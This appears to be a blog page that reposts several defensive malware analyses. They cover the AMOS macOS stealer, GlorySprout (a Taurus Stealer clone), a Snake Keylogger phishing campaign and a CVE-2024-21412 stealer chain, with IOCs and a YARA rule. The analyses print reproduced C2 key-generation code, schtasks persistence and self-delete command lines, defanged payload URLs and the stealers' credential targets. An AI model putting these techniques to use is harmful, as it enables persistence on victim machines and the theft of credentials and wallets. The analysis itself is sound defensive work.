AMOS uses mz_zip_writer_add_mem, Miniz compression, for archiving the extracted logs.

send_me function is responsible for sending the logs in a ZIP archive over to C2 to port 80 using the hardcoded UUID 7bc8f87e-c842-47c7-8f05-10e2be357888. Instead of using /sendlog as an endpoint, the new version uses /p2p to send POST requests.

passnet function is responsible for retrieving the pbkdf2 from Chrome, the stealer calls it masterpass-chrome.

pwdget function is responsible for retrieving the password of the MacOS device via the dialog “Required Application Helper. Please enter passphrase for {username}” as shown below.

pwd_prompt2.JPG

myfox function is responsible for retrieving Firefox data such as:

  • /cookies.sqlite
  • /formhistory.sqlite
  • /key4.db
  • /logins.json

Compared to the previous version, the new version gathers not only information about hardware but also system’s software and display configurations with the command system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType.

The FileGrabber functionality is shown in the image below.

FileGrabber2.JPG

FileGrabber has several functionalities:

  • It sets a destination folder path named fg in the home folder of the current user (/Users/{username}). If this folder doesn’t exist, it creates it. It then defines a list of file extensions (“txt”, “png”, “jpg”, “jpeg”, “wallet”, “keys”, “key”) to filter files for later operations. It initializes a variable “bankSize” to 0, possibly intended to keep track of the total size of files processed.
  • Next, it proceeds with retrieving the path to Safari’s cookies folder and tries to duplicate the Cookies.binarycookies file from Safari’s folder to the destination folder. This file contains Safari browser cookies.
  • For processing notes data it attempts to duplicate specific Notes database files (“NoteStore.sqlite”, “NoteStore.sqlite-shm”, “NoteStore.sqlite-wal”) to the destination folder. These files contain user’s notes.
  • For processing files on Desktop and Documents folders it retrieves all files from the Desktop and the Documents folder. For each file, it checks if the file’s extension is in the predefined list mentioned above. If the file matches the criteria and the total size (bankSize) of processed files does not exceed 10 MB, it duplicates the file to the destination folder and updates “bankSize”.

You can access the list of decrypted strings here.

Conclusion

Besides encrypted strings, the new version appears to perform additional enumeration on the infected machine and, from what I could tell, the ZIP archive is not written to the disk anymore. The latest version of AMOS is definitely designed to leave as few traces as possible on the infected machines. There is also a typo in one of the wallet addresses in the new version for some reason acmacodkjbdgmoleeebolmdjonilkdbch , which is supposed to be acmacodkjbdgmoleebolmdjonilkdbch.

I would like to extend my thanks to Edward Crowder for his assistance with MacOS questions and to @cod3nym for the help in implementing the Python decryption function.

Detection Rules

You can access Yara rules here

Indicators of Compromise

NameIndicator
AMOS Old Versionbf7512021dbdce0bd111f7ef1aa615d5
AMOS New Version57db36e87549de5cfdada568e0d86bff
AMOS New Versiondd8aa38c7f06cb1c12a4d2c0927b6107
C2185.106.93[.]154
C25.42.65[.]108
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

The GlorySprout or a Failed Clone of Taurus Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

The GlorySprout ads surfaced on the XSS forum at the beginning of March 2024 (the name makes me think of beansprout; perhaps the seller behind the stealer is a vegetarian).

XSSads.jpg

The stealer, developed in C++, is available for purchase at $300, offering lifetime access and 20 days of crypting service, which encrypts the stealer’s payload to evade detection. Similar to other stealers, it includes a pre-built loader, Anti-CIS execution, and a Grabber module (which is non-functional). While the stealer advertises AntiVM and keylogging capabilities, I have not witnessed either in action or code. Additionally, it features support for log backup and log banning, allowing for the exclusion of logs from specified countries or IPs.

What particularly captured my attention regarding this stealer was that an individual, who prefers to stay anonymous, informed me it’s a clone of Taurus Stealer and shared some interesting files with me.

Taurus Stealer Backstory

Let’s talk a little about Taurus Stealer Project. It first appeared for sale on XSS in April 2020.

taurusads.jpg

The stealer is written in C++ with a Golang panel. It was sold for $150 for lifetime (I guess the pricing was different in 2020).

One of the XSS users claims that the panel is very similar to Predator The Thief stealer. You can read a nice writeup on Predator Stealer here.

xsscomment.jpg

The Predator stealer shares many similarities with Taurus Stealer, including encryption in C2 communication, Bot ID formatting, the Anti-VM feature, and naming conventions for log files, as well as resemblances in the panel GUI. However, to refocus, Taurus Stealer terminated their project around 2021. The cracked version of Taurus Stealer is being sold on Telegram, and there’s information suggesting that Taurus Stealer sold their source code, which could explain these parallels.

Now, let’s confirm the theories…

Below is the screenshot of GlorySprout panel:

panel.jpg

And this is the Taurus Stealer panel:

tauruspanel.jpg

Can you spot the similarities and differences? 🙂

There is a great writeup on Taurus Stealer out there by Outpost24 that you can access here.

I will focus on the brief analysis of GlorySprout so we can make some conclusions later.

GlorySprout Technical Analysis

GlorySprout dynamically resolves APIs through API hashing, targeting libraries such as shell32.dll, user32.dll, ole32.dll, crypt32.dll, advapi32.dll, ktmw32.dll, and wininet.dll. This hashing process involves operations such as multiplication, addition, XOR, and shifting.

api_hashing.jpg

The reproduced Python code for API hashing:

def compute_hash(function_name):
    v9 = 0
    for char in function_name:
        v9 = ord(char) + 16 * v9
        if v9 & 0xF0000000 != 0:
            v9 = ((v9 & 0xF0000000) >> 24) ^ v9 & 0xFFFFFFF
    return v9

The stealer accesses the hashed API values via specific offsets.

accessing_api.png
api_hashing2.png

The Anti-CIS function is shown below:

antiCIS.jpg

The stealer exists if any of the language identifiers is found.

The stealer obfuscates the strings via XOR and arithmetic operations such as substitution.

str_obfuscation.png

The persistence is created via scheduled task named \WindowsDefender\Updater with ComSpec (cmd.exe) spawning the command /c schtasks /create /F /sc minute /mo 1 /tn “\WindowsDefender\Updater” /tr “. If the loader module is used, the task runs the dropped secondary payload from %TEMP% folder.

scheduled_task.jpg

If the loader module is configured, the retrieved payload name (8 characters) would be randomly generated via the function below from the predefined string aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ.

rand_gen.jpg

The function described is also used to generate the filename parameter in a Content-Disposition header for C2 communications as well as the RC4 key for the ZIP archive with collected data.

But the function to generate random string doesn’t always generate random strings and we will come back to it in the C2 communications section.

The C2 address of the stealer is retrieved from the resource section of the decrypted/unpacked payload.

get_c2.png

C2 Communication

Communication with the C2 server is performed via port 80. Upon checking in with the C2 server, the infected machine sends out the POST request “/cfg/data=” using the user-agent “Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.5906.121 Safari/537.36”. The BotID value is encrypted with the RC4 key generated via random key generation function that was previously mentioned and base64-encoded. The RC4 key is the first 10 bytes of the encrypted string.

c2_post_check_in.jpg

The base64-encoding set of characters is obfuscated as shown below.

base64_enc.jpg

Now, interestingly enough, the RC4 key for the initial check-in does not change depsite using the randomization, because the initial state value remains constant, which is 0xC40DF552. If we try the randomization function with Python and using the initial state value, we get the same value, which is IDaJhCHdIlfHcldJ.

The reproduced Python code for randomization function:

initial_seed = 0xC40DF552  # Initial state

src_data = bytes.fromhex("1B6C4C6D4D6E4E6F4F70507151725273537454755576567757785879597A5A7B5B7C5C7D5D7E5E7F5F80608161826283")

adjusted_src_data = bytearray(len(src_data))
for i, b in enumerate(src_data):
    adjusted_src_data[i] = b - (src_data[0] % 16)

def rand(seed):
    seed = (214013 * seed + 2531011) & 0xFFFFFFFF  
    return ((seed >> 16) & 0x7FFF), seed  

def generate_key(a2, seed):
    key = ""
    for _ in range(a2):
        rand_val, seed = rand(seed)
        key += chr(adjusted_src_data[1 + (rand_val % 23)]) 
    return key, seed

value, final_seed = generate_key(0x10, initial_seed)
value, final_seed

print(value)

After the check-in, the server responds with an encrypted configuration, where the first 10 bytes is the RC4 key.

The decrypted conguration looks like this:

[1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;0;0;1;1]#[]#[<infected_machine_IP;<infected_machine_GEO]#[[<loader_URL;;;1;1;1]]

Here is an example breakdown of the configuration (0: stands for disabled, 1: stands for enabled):

  • 1: Grab browser history
  • 1: Grab screenshot
  • 1: Grab cryptowallets recursively from %AppData% folder (Cryptowallets supported based on the analysis: Electrum, MultiBit, Armory, Ethereum, Bytecoin, Jaxx, Atomic, Exodus, DashCore, Bitcoin, WalletWasabi, Daedalus Mainnet, Monerom )
  • 1: Grab Steam sessions
  • 1: Grab BattleNet account information
  • 1: Grab Telegram session
  • 1: Grab Discord session
  • 1: Grab Skype messages
  • 1: Grab Jabber accounts from %AppData% folder
  • 1: Grab Foxmail accounts
  • 1: Grab Outlook accounts
  • 1: Grab FileZilla data
  • 1: Grab WinFTP accounts
  • 1: Grab WinSCP accounts
  • 1: Grab Authy
  • 0: Grab NordVPN
  • 0: Unknown placeholder
  • 1: Anti-VM
  • 1: Self-deletion (self-delete after sending the logs to C2): self-deletion performs with the command “C:\Windows\system32\cmd.exe” /c ping google.com && erase C:\Users\username\Desktop\payload.exe” . Pinging introduces the delay, likely to guarantee the successful full execution of the payload.
  • loader_URL – contains the link to the secondary payload
  • 1: Only with crypto – the loader payload only runs if cryptowallets are present on the machine
  • 1: Autorun – creates the persistence for a secondary payload
  • 1: Start after creating – runs the secondary payload after dropping it in %TEMP% folder

After receiving the configuration, the infected machine sends out the POST request with /log/ parameter containing the ZIP archive with collected data to C2 server as shown below:

send_zip_c2.jpg

The data is encrypted the same way, with RC4 and Base64-encoded.

The server sends 200 OK response to the machine and the machine ends the communication with the POST request containing /loader/complete/?data=1 .

Additional Information

As mentioned before, the panel of the stealer is written in Golang. The panel also utilizes SQL databases to process configuration and data. The stealer makes use of sqlx library, a popular extension for Go’s standard database/sql package designed to make it easier to work with SQL databases.

golang_p.jpg

Interesting usernames found in mysql database:

sql_db.png

It’s worth nothing that the database contains the mention of taurus. At this point, we can make a confident assessment that it’s a clone of Taurus Stealer code based on the technical analysis.

The example of the collected log:

info.jpg

General/forms.txt – contains the decrypted browser passwords. The browser passwords are decrypted on the server.

Conclusion

Based on the GlorySprout analysis, it is confidently assessed that the individual behind GlorySprout cloned the code of the Taurus Stealer project and modified it according to their specific needs and requirements. A notable difference is that GlorySprout, unlike Taurus Stealer (according to the version analyzed by Outpost24), does not download additional DLL dependencies from C2 servers. Additionally, GlorySprout lacks the Anti-VM feature that is present in Taurus Stealer. GlorySprout is likely to fade away e and fail to achieve the popularity of other stealers currently on the market.

Indicators Of Compromise

NameIndicators
GlorySprout3952a294b831e8738f70c2caea5e0559
C2147.78.103.197
C245.138.16.167
GlorySproutd295c4f639d581851aea8fbcc1ea0989

Detection

rule win_mal_GlorySprout_Stealer {
    meta:
        author = "RussianPanda"
        description = "Detects GlorySprout Stealer"
        date = "3/16/2024"
        hash = "8996c252fc41b7ec0ec73ce814e84136be6efef898822146c25af2330f4fd04a"
    strings:
        $s1 = {25 0F 00 00 80 79 05 48 83 C8 F0 40}
        $s2 = {8B 82 A4 00 00 00 8B F9 89 06 8D 4E 0C 8B 82 A8 00 00 00 89 46 04 0F B7 92 AC 00 00 00 89 56 08}
        $s3 = {0F B6 06 C1 E7 04 03 F8 8B C7 25 00 00 00 F0 74 0B C1 E8 18} 
    condition:
        uint16(0) == 0x5A4D and all of them and #s1 > 100
}

You can also access the Yara rule here

Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Deep Analysis of Snake Keylogger’s New Variant

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Affected platforms: Microsoft Windows
Impacted parties: Windows Users
Impact: Collects sensitive information from the victim’s computer
Severity level: High

Fortinet’s FortiGuard Labs recently caught a phishing campaign in the wild with a malicious Excel document attached to the phishing email. We performed a deep analysis on the campaign and discovered that it delivers a new variant of Snake Keylogger.

Snake Keylogger (aka “404 Keylogger” or “KrakenKeylogger”) is a subscription-based keylogger with many capabilities. It is a .NET-based software originally sold on a hacker forum.

Once executed on a victim’s computer, it has the ability to steal sensitive data, including saved credentials from web browsers and other popular software, the system clipboard, and basic device information. It can also log keystrokes and capture screenshots.

In the following sections, we will look at the phishing spam, how it lures the recipient into opening a malicious Excel document, how the Excel document downloads and executes a new variant of Snake Keylogger, and what anti-analysis techniques it uses to protect itself from being detected and blocked during the attack.

Snake Keylogger Overview

The Phishing Email

Figure 1: The phishing email.

Figure 1: The phishing email.

The email content in Figure 1 attempts to deceive the recipient into opening the attached Excel file (swift copy.xls) by claiming that funds have been transferred into their account. To warn the user, the FortiGuard service marks this phishing email as “[virus detected],” as shown in the subject line.

The Malicious Excel Document

Figure 2: When the Excel file is opened in Excel program.

Figure 2: When the Excel file is opened in Excel program.

Figure 2 shows the content of the attached Excel file when opened in the Office Excel program. Meanwhile, malicious code is executed in the background to download other files.

Looking into the binary data of the Excel file, it contains a specially crafted embedded link object that exploits the CVE-2017-0199 vulnerability to download a malicious file. Figure 3 displays the embedded link object (“\x01Ole”). The link is “hxxp[:]//urlty[.]co/byPCO,” which is secretly requested by the Excel program when the file is opened.

Figure 3: Crafted embedded OLE link object.

Figure 3: Crafted embedded OLE link object.

When the link is accessed, it returns with another URL in the “Location” field of the response header, which is “hxxp[:]//192.3.176[.]138/xampp/zoom/107.hta”.  HTA file is an HTML Application file executed by a Windows application— by default, the HTML Application host (mshta.exe).

The 107.hta file is full of obfuscated JavaScript code that is executed automatically when loaded by mshta.exe. Figure 4 shows a partial view of the JavaScript code.

Figure 4: The partial content of the downloaded file “107.hta”.

Figure 4: The partial content of the downloaded file “107.hta”.

VBScript Code & PowerShell Code

After decoding and de-obfuscating the JavaScript code, we were able to get a piece of the VBScript code, as shown in Figure 5.

Figure 5: The VBScript code decoded from Javascript code.

Figure 5: The VBScript code decoded from Javascript code.

It’s evident that the VBScript code created an object of “Script.Shell” and executed a piece of PowerShell code decoded from a base64 string, defined in the variable “ps_code”. This PowerShell code is then executed by “cmd.exe” (%ComSpec%) when the “shellObj.Run()” function is called.

The base64 decoded PowerShell code is shown below. It invokes a Windows API, URLDownloadToFile(), to download an executable file to the victim’s computer and run it after waiting three seconds.

snake keylogger base64 decoded

The URL of the executable file is hardcoded as “hxxp[:]//192.3.176[.]138/107/sahost.exe” and the local file is “%Appdata%\sahost.exe”. The PowerShell code finally starts the executable file by calling Start “$Env:AppData\sahost.exe”.

Dive into the Loader-Module

My research shows that the downloaded EXE file (sahost.exe) contains a new variant of Snake Keylogger, which is extracted, decrypted, loaded, and run by the EXE file. I will refer to this downloaded EXE file as the Loader module.

Figure 6 is a screenshot of its analysis in a packer detection tool. It was developed using the Microsoft .Net Framework.

Figure 6: Properties of the downloaded EXE.

Figure 6: Properties of the downloaded EXE.

To protect the Snake Keylogger core module from being detected and blocked by cybersecurity products, sahost.exe uses multiple-layer protection techniques, like transformation and encryption, within several named resources. When sahost.exe starts, it extracts several modules (dlls) onto its memory from the Resource section that provide methods to inquire, extract, decrypt, install, and deploy the core module.

The original name of “sahost.exe” is “utGw.exe.” It decrypts and extracts a module called “FGMaker.dll” from a resource named “siri” in its Resource section. Figure 7 shows some of that code.

Figure 7: Load a module from Resouce “siri”

Figure 7: Load a module from Resouce “siri”

The “FGMaker.dll” module extracts additional modules (such as “Q” and “Gammar.dll”) that work together to extract and decrypt a module called “Tyrone.dll” from the resource “KKki”.

Figure 8: Resource “KKki” is about to load

Figure 8: Resource “KKki” is about to load

You may have noticed in Figure 8 that it loads “KKki” as a Bitmap resource. The module “Tyrone.dll” was encrypted, broken down into bytes, and kept in the Bitmap resource. Figure 9 shows the content of the resource “KKki” as a Bitmap picture.

Figure 9: Bitmap resource “KKki”.

Figure 9: Bitmap resource “KKki”.

After another decryption sequence, we can see the plaintext of the “Tyrone.dll” module in memory. It is then loaded as an executable module by calling the Assembly.Load() method.

Figure 10 showcases the modules that have been extracted and loaded by the Loader module so far.

Figure 10: Relevant modules extracted by the Loader module.

Figure 10: Relevant modules extracted by the Loader module.

Dissecting the Deploy Module

I will refer to “Tyrone.dll” as “Deploy module” in the following analysis. It performs the following functions:

  • Renames the Loader module file.

This checks whether the current process’s full path is “% AppData%WeENKtk.exe,” renames it, and sets attributes (Hidden, ReadOnly, System, etc.) to it if the result is no. On the very first run, it was %AppData%sahost. exe.

  • Ensures Snake Keylogger persistence.

The Deploy module runs the “schetasks.exe” command to create a new scheduled task in the system Task Scheduler. This allows Snake Keylogger to launch at system startup. Figure 11 shows the scheduled task for Snake Keylogger.

Figure 11: Snake Keylogger is added in the system Task Scheduler.

Figure 11: Snake Keylogger is added in the system Task Scheduler.

  • Process hollowing.

The Deploy module obtains a resource data, “I7O14IyvsdO,” from its own Resource section. Then, it decrypts the data with the string key “YRDdITlYRXI” into a final PE file in its memory. This is the core module of Snake Keylogger.

Next, the Deploy module performs process hollowing, a malware technique that creates a new process and then inserts malicious code into it to run. This allows it to hide its original process.

Figure 12: Break on a method calling CreateProcess().

Figure 12: Break on a method calling CreateProcess().

Figure 12 shows that it about to call the obfuscated API CreateProcess(). It has a key argument, “Creation Flag,” indicating how to create the process. Its value has been set to 134217732, i.e. 0x08000004 in hexadecimal. It is defined as “CREATE_SUSPENDED” and “CREATE_NO_WINDOW.” The process name, the first argument to CreateProcess(), is the same as the Loader module.

To complete the process hollowing, it needs to call some relevant Windows APIs, such as ZwUnmapViewOfSection(), VirtualAllocEx(), ReadProcessMemory(), WriteProcessMemory(), GetThreadContext(), SetThreadContext(), and ResumeThread().

Snake Keylogger Core Module and Features

The core module’s original name is “lfwhUWZlmFnGhDYPudAJ.exe.” Figure 13 shows that the attacker has fully obfuscated the entire module, which displays its entry point (“Main()”) and the obfuscated code, class names, and method names.

Figure 13: Obfuscated Snake Keylogger core module.

Figure 13: Obfuscated Snake Keylogger core module.

The Snake Keylogger’s structure is very clear. We can see its capability to collect private and sensitive information from the victim’s device, including the device’s basic information, saved credentials, keystrokes, screenshots, and data on the system clipboard.

The features are split into different methods driven by Timers. Snake Keylogger also has some relevant flag variables indicating whether the feature is enabled.

This variant of Snake Keylogger only enables the credential collection feature.

First, Snake Keylogger fetches the device’s basic information, like the PC name, System time, IP address, Country name, Region name, City name, TimeZone, and so on. Figure 14 shows an example of the basic information collected from one of my testing devices.

Figure 14: Basic information example.

Figure 14: Basic information example.

This Snake Keylogger variant includes several hardcoded IP addresses the attacker may believe are used by some sample automatic analysis systems they want to avoid.

Figure 15: Method to detect victim’s IP address.

Figure 15: Method to detect victim’s IP address.

One method called “anti_bot(),” shown in Figure 15, checks the hardcoded IP addresses. “BotDetected” is returned if the victim’s IP address matches any of those IP addresses. This results in the Snake Keylogger only collecting credentials but never sending them to the attacker.

Credentials Collection

Snake Keylogger collects saved credentials from over 50 popular software programs, categorized as web browsers, email clients, IM clients, and FTP clients.

Figure 16: Method for fetching Google Chrome credentials.

Figure 16: Method for fetching Google Chrome credentials.

Every software has its own profile folder for saving configuration data. Snake Keylogger traverses all the profile files, looking for the saved credentials. Figure 16 is an example of the method used for Google Chrome. As you may have noticed in the “Locals” tab, it just obtained one set of credentials, including “URL,” “Login ID,” and “Login Password.”

All the software can be categorized as follows:

Chromium-based Web Browsers:
“Google Chrome,” “Amigo,” “Xpom,” “Kometa,” “Nichrome,” “CocCoc,” “QQ Browser,” “Orbitum,” “Slimjet,” “Iridium,” “Vivaldi,” “Iron,” “Chromium,” “Ghost Browser,” “Cent Browser,” “xVast,” “Chedot,” “Comodo Dragon,” “SuperBird,” “360 Browser,” “360 Chrome,” “Brave,” “Torch,” “UC Browser,” “Blisk,” “Epic PrivacyBrowser,” “Liebao,” “Avast,” “Kinza,” “BlackHawk,” “Citrio,” “Uran,” “Coowon,” “7Star,” “QIP Surf,” “Sleipnir,” “Chrome Canary,” “ChromePlus,” “Sputnik,” “Microsoft Edge,” and “Slim”.

Mozilla-based Web Browsers:
“SeaMonkey,” “IceDragon,” “CyberFox,” “WaterFox,” “Postbox,” and “PaleMoon”

Other Web Browsers:
“Opera,” “Firefox”.

Email clients:
“FoxMail,” “Thunderbird”.

FTP clients:
“FileZilla”.

IM client:
“Pidgin,” “Discord”.

All the credentials collected from the above software are temporarily stored in a global variable.

Stolen Credentials Submitted Over SMTP

Snake Keylogger variants have several ways to submit harvested credentials to the attacker, including uploading the data onto an FTP server, sending it to an email address, and submitting it over Telegram’s bot over HTTP Post method.  This variant of Snake Keylogger sends data over SMTP.

Figure 17 is a screenshot of how it builds the email content. The upper part contains the code that includes the email’s sender, recipient, subject, and body, while the lower part shows the content of the variable “mailMessage” with the data filled by the code.

Figure 17: Created email message with collected credentials.

Figure 17: Created email message with collected credentials.

The email’s body contains the computer’s basic information saved in a global variable, followed by the credentials stolen from the victim’s computer saved in another global variable. It then creates an SMTP client, and its Send() method is called to send the credentials to the attacker.

Figure 18 shows an example of how the email looks in Microsoft Outlook.

Figure 18: Attacker’s view of the email.

Figure 18: Attacker’s view of the email.

Snake Keylogger Summary

Figure 19 illustrates the entire workflow of the Snake Keylogger campaign.

Figure 19: Snake Keylogger campaign workflow.

Figure 19: Snake Keylogger campaign workflow.

This analysis reviewed the entire process of this Snake Keylogger campaign, which is being led by a phishing email.

The phishing email, which included a malicious Excel document, lured the recipient into opening the file to see the details of a “balance payment.” The Excel document was displayed in different tools, and I explained how it downloads an HTA file by exploiting a known vulnerability.

It then leverages multiple language scripts, such as JavaScript, VBScript, and PowerShell, to download the Snake Keylogger’s Loader module.

Afterward, I elaborated on how the Loader module extracts multiple modules (including several middle modules and the Deploy module) from the file’s Resource section. Malware often uses a process like this to prevent being detected and analyzed.

Next, I introduced how the Snake Keylogger Deploy module establishes persistence on the victim’s computer and conducts process hollowing to put the core module into a newly created process to run.

Finally, we examined how the Snake Keylogger steals sensitive information from the victim’s computer and how the stolen data is sent to the attacker using the SMTP protocol.

Fortinet Protections

Fortinet customers are already protected from this campaign with FortiGuard’s AntiSPAM, Web Filtering, IPS, and AntiVirus services as follows:

The relevant URLs are rated as “Malicious Websites” by the FortiGuard Web Filtering service.

FortiMail recognizes the phishing email as “virus detected.” In addition, real-time anti-phishing provided by FortiSandbox embedded in Fortinet’s FortiMail, web filtering, and antivirus solutions provides advanced protection against both known and unknown phishing attempts.

FortiGuard IPS service detects the vulnerability exploit against CVE-2017-0199 with the signature “MS.Office.OLE.autolink.Code.Execution”.

FortiGuard Antivirus service detects the attached Excel document, 107.hta, the downloaded executable file and the extracted Snake Keylogger with the following AV signatures.

MSExcel/CVE_2017_0199.DDOC!exploit
VBS/SnakeKeylogger.119B!tr.dldr
MSIL/SnakeKeylogger.FQQD!tr
MSIL/SnakeKeylogger.AES!tr.spy

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.

The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.

To stay informed of new and emerging threats, you can sign up to receive future alerts.

We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IOCs

URLs

hxxp://urlty[.]co/byPCO
hxxp[:]//192.3.176[.]138/xampp/zoom/107.hta
hxxp[:]//192.3.176[.]138/107/sahost.exe

Relevant Sample SHA-256

[swift copy.xls]
8406A1D7A33B3549DD44F551E5A68392F85B5EF9CF8F9F3DB68BD7E02D1EABA7

[107.hta]
6F6A660CE89F6EA5BBE532921DDC4AA17BCD3F2524AA2461D4BE265C9E7328B9

[The Loader module/sahost.exe / WeENKtk.exe / utGw.exe]
484E5A871AD69D6B214A31A3B7F8CFCED71BA7A07E62205A90515F350CC0F723

[Snake Keylogger core module / lfwhUWZlmFnGhDYPudAJ.exe]
207DD751868995754F8C1223C08F28633B47629F78FAAF70A3B931459EE60714

Posted in Exploits, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Exploiting CVE-2024-21412: A Stealer Campaign Unleashed

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: The stolen information can be used for future attack
Severity Level: High

CVE-2024-21412 is a security bypass vulnerability in Microsoft Windows SmartScreen that arises from an error in handling maliciously crafted files. A remote attacker can exploit this flaw to bypass the SmartScreen security warning dialog and deliver malicious files. Over the past year, several attackers, including Water Hydra, Lumma Stealer, and Meduza Stealer, have exploited this vulnerability.

FortiGuard Labs has observed a stealer campaign spreading multiple files that exploit CVE-2024-21412 to download malicious executable files. Initially, attackers lure victims into clicking a crafted link to a URL file designed to download an LNK file. The LNK file then downloads an executable file containing an HTA script. Once executed, the script decodes and decrypts PowerShell code to retrieve the final URLs, decoy PDF files, and a malicious shell code injector. These files aim to inject the final stealer into legitimate processes, initiating malicious activities and sending the stolen data back to a C2 server.

The threat actors have designed different injectors to evade detection and use various PDF files to target specific regions, including North America, Spain, and Thailand. This article elaborates on how these files are constructed and how the injector works.

Telemetry map highlights the United States, Spain, and Thailand

Figure 1: Telemetry

Attack chain diagram. Downloading the LNK file from the web downloads the EXE file, which embeds HTA code in overlay and drops the decoy PDF and SC injector. This branches off into two attack patterns: first, an image file is downloaded from the site imghippo that injects shell code that downloads HijackLoader, which is used to download ACR stealer and Lumma stealer. In the second branch, the SC injector injects shell code to download the Meduza stealer.

Figure 2: Attack chain

Initial Access

To start, the attacker constructs a malicious link to a remote server to search for a URL file with the following content: 

Constructing malicious link to a remote server to search for a URL file
Constructing malicious link to a remote server to search for a URL file

Figure 3: URL files

The target LNK file employs the “forfiles” command to invoke PowerShell, then executes “mshta” to fetch an execution file from the remote server “hxxps://21centuryart.com.” 

the LNK file

Figure 4: LNK file

During our investigation, we collected several LNK files that all download similar executables containing an HTA script embedded within the overlay. This HTA script has set WINDOWSTATE=”minimize” and SHOWTASKBAR=”no.” It plays a crucial role in the infection chain by executing additional malicious code and seamlessly facilitating the next stages of the attack.

the HTA script

Figure 5: HTA script in overlay

After decoding and decrypting the script, a PowerShell code downloads two files to the “%AppData%” folder. The first is a decoy PDF, a clean file that extracts the victim’s attention from malicious activity, and the other is an execution file that injects shell code for the next stage.

The decoded and decrypted script
Decoded and decrypted script. This final step downloads the decoy PDF and the EXE file

Figure 1: Telemetry

Examples of decoy PDF files, such as Medicare enrollment forms and US Department of Transportation certificates

Figure 7: Decoy PDF files

Shell Code Injector

In this attack chain, we identified two types of injectors. The first leverages an image file to obtain a shell code. As of mid-July, it had low detection rates on VirusTotal.

First variant of shell code injector on VirusTotal. The community score is 1 out of 74
Second variant of shell code injector on VirusTotal. The community score is 1 out of 72

Figure 8: Shell code injector on VirusTotal

After anti-debugging checking, it starts downloading a JPG file from the Imghippo website, “hxxps://i.imghippo[.]com/files/0hVAM1719847927[.]png.” It then uses the Windows API “GdipBitmapGetPixel” to access the pixels and decode the bytes to get the shell code.

Shell code injector downloads a png file from imghippo

Figure 9: Getting the PNG file

It then calls “dword ptr ss:[ebp-F4]” to the entry point of the shell code. The shell code first obtains all the APIs from a CRC32 hash, creates a folder, and drops files in “%TEMP%.” We can tell that these dropped files are HijackLoader based on the typical bytes “\x49\x44\x 41\x54\xC6\xA5\x79\xEA” found in the encrypted data.

Call shell code's entry point

Figure 10: Call shell code’s entry point

CRC32 hashes for Windows APIs

Figure 11: CRC32 hashes for Windows APIs

Dropping files in the temp folder

Figure 12: Dropping files in the temp folder

Dropped HijackLoader files

Figure 13: Dropped HijackLoader files

The other injector is more straightforward. It decrypts its code from the data section and uses a series of Windows API functions—NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection, NtMapViewOfSection again, and NtProtectVirtualMemory—to perform shell code injection.

Assembly code for calling shell code

Figure 14: Assembly code for calling shell code

Final Stealers

This attack uses Meduza Stealer version 2.9 and the panel found at hxxp://5[.]42[.]107[.]78/auth/login.

Meduza Stealer's panel

Figure 15: Meduza Stealer’s panel

We also identified an ACR stealer loaded from HijackLoader. This ACR stealer hides its C2 with a dead drop resolver (DDR) technique on the Steam community website, hxxps://steamcommunity[.]com/profiles/76561199679420718. 

Base64 encoded C2 on Steam community site

Figure 16: Base64 encoded C2 on Steam

We also found the C2 for other ACR Stealers on Steam by searching for the specific string, “t6t”. 

Other ACR Stealer’s C2 server information on Steam. All contain the string "t6t"

Figure 17: Other ACR Stealer’s C2 server information on Steam

After retrieving the C2 hostname, the ACR stealer appends specific strings to construct a complete URL, “hxxps://pcvcf[.]xyz/ujs/a4347708-adfb-411c-8f57-c2c166fcbe1d”. This URL then fetches the encoded configuration from the remote server. The configuration data typically contains crucial information, such as target specifics and operational parameters for the stealer. By decoding the C2 from Steam, the stealer can adapt legitimate web services to maintain communications with its C2 server.

Decoded ACR Stealer's configuration

Figure 18: Decoded ACR Stealer’s configuration

Except for local text files in paths “Documents” and “Recent, “ ACR Stealer has the following target applications:

  • Browser: Google Chrome, Google Chrome SxS, Google Chrome Beta, Google Chrome Dev, Google Chrome Unstable, Google Chrome Canary, Epic Privacy Browser, Vivaldi, 360Browser Browser, CocCoc Browser, K-Melon, Orbitum, Torch, CentBrowser, Chromium, Chedot, Kometa, Uran, liebao, QIP Surf, Nichrome, Chromodo, Coowon, CatalinaGroup Citrio, uCozMedia Uran, Elements Browser, MapleStudio ChromePlus, Maxthon3, Amigo, Brave-Browser, Microsoft Edge, Opera Stable, Opera GX Stable, Opera Neon, Mozilla Firefox, BlackHawk, and TorBro.
  • CryptoWallet: Bitcoin, Binance, Electrum, Electrum-LTC, Ethereum, Exodus, Anoncoin, BBQCoin, devcoin, digitalcoin, Florincoin, Franko, Freicoin, GoldCoin (GLD), GInfinitecoin, IOCoin, Ixcoin, Litecoin, Megacoin, Mincoin, Namecoin, Primecoin, Terracoin, YACoin, Dogecoin, ElectronCash, MultiDoge, com.liberty.jaxx, atomic, Daedalus Mainnet, Coinomi, Ledger Live, Authy Desktop, Armory, DashCore, Zcash, Guarda, WalletWasabi, and Monero.
  • Messenger: Telegram, Pidgin, Signal, Tox, Psi, Psi+, and WhatsApp.
